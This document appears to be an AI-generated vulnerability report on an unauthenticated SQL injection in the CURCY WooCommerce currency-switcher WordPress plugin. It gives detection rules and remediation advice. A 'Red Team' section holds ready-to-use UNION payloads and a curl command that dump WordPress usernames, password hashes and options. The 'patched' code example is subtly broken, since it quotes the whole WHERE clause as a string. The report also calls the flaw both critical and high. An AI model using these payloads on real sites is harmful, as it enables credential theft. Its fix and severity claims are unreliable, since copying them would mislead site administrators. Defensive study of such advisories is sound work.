CVE-2024-13320

Executive Summary

CVE-2024-13320 is a critical unauthenticated SQL Injection vulnerability affecting the CURCY - WooCommerce Multi Currency - Currency Switcher WordPress plugin, developed by Villatheme. The flaw resides in the wc_filter_price_meta[where] parameter, which is insufficiently sanitized and prepared before being used in SQL queries. This allows any unauthenticated attacker to inject arbitrary SQL commands, leading to the extraction of sensitive data from the WordPress database, including user credentials, session tokens, and other confidential information.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely over the network. The CVSS score of 7.5 (High) reflects the ease of exploitation and the high confidentiality impact. As a WordPress plugin vulnerability, it directly affects the WordPress ecosystem and its users, not the underlying web server software.

Supply Chain & Package Security

This vulnerability is a WordPress plugin issue, not an NPM, PyPI, Go, or Ruby package. However, it highlights the risks of third-party plugin dependencies in the WordPress supply chain. Administrators must ensure that all plugins are from trusted sources and are kept up-to-date.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – Service availability not affected.

Threat Level: Critical for unauthenticated data exfiltration. The EPSS score of 0.0% suggests low exploitation probability currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability exists in the wc_filter_price_meta parameter, specifically the where sub-parameter. The plugin uses this parameter to build SQL queries for filtering products by price. Due to insufficient escaping and lack of prepared statements, an attacker can inject SQL code.

Root Cause: The plugin fails to use parameterized queries or properly escape user input. The where clause is directly concatenated into the SQL query string.

Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a WordPress site with the vulnerable plugin active. The request includes the malicious SQL payload in the wc_filter_price_meta[where] parameter.

Impact: Successful exploitation allows the attacker to extract any data from the WordPress database, including:

• User credentials (hashed passwords)
• Session tokens
• WooCommerce order details
• Customer personal information
• Secret keys and API tokens

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.3.6):

// Example of vulnerable code pattern
$where = $_GET['wc_filter_price_meta']['where'];
$sql = "SELECT * FROM wp_posts WHERE post_type = 'product' AND $where";
$results = $wpdb->get_results($sql);

Patched Code (Hypothetical):

// Patched version using prepared statements
$where = $_GET['wc_filter_price_meta']['where'];
// Use $wpdb->prepare() to safely handle the input
$sql = $wpdb->prepare(
    "SELECT * FROM wp_posts WHERE post_type = 'product' AND %s",
    $where
);
$results = $wpdb->get_results($sql);

Note: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with CURCY plugin version <= 2.3.6
• No authentication required

Exploitation Steps:

1. Identify the vulnerable parameter: wc_filter_price_meta[where]
2. Craft a payload to extract data, e.g., to dump usernames and passwords:

   GET /?wc_filter_price_meta[where]=1=1 UNION SELECT user_login,user_pass FROM wp_users--
   

3. Send the request using curl:

   curl -G "http://target.com/" --data-urlencode "wc_filter_price_meta[where]=1=1 UNION SELECT user_login,user_pass FROM wp_users--"
   

Example Payloads:

• Extract all users: 1=1 UNION SELECT user_login,user_pass FROM wp_users--
• Extract options table: 1=1 UNION SELECT option_name,option_value FROM wp_options--

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests containing wc_filter_price_meta[where] with SQL keywords (UNION, SELECT, FROM, etc.).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Prevention:

• Disable or remove the plugin until a patch is available.
• Implement a WAF with SQL injection signatures.
• Apply virtual patching via mod_security or similar.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing wc_filter_price_meta[where] parameter with SQL syntax.
• Unusual SQL error messages in server logs (e.g., "You have an error in your SQL syntax").
• Outbound database queries from the web server to the database server with unexpected SELECT statements.

File IOCs:

• Modified WordPress database tables (e.g., wp_users, wp_options).
• Suspicious entries in wp_options indicating backdoor plugins.

Log IOCs:

• Apache/Nginx access logs showing requests with wc_filter_price_meta[where]= followed by SQL code.
• PHP error logs containing SQL injection attempts.

Detection Engineering

YARA Rule

rule CVE_2024_13320_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-13320 in CURCY plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13320"
    strings:
        $param = "wc_filter_price_meta[where]"
        $sql_keyword = /(UNION|SELECT|FROM|WHERE|INSERT|DELETE|DROP|OR\s+1=1)/i
    condition:
        $param and $sql_keyword
}

Sigma Rule

title: CVE-2024-13320 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against CURCY plugin via wc_filter_price_meta[where] parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: "wc_filter_price_meta[where]"
    keywords:
        - "UNION"
        - "SELECT"
        - "FROM"
        - "OR 1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with safe values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13320 SQL Injection Attempt"; flow:to_server; content:"wc_filter_price_meta[where]"; nocase; pcre:"/(UNION|SELECT|FROM|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the official patch from Villatheme when available.
• If no patch is forthcoming, consider replacing the plugin with an alternative.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.
• Manually edit the plugin code to use prepared statements (not recommended for non-developers).

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.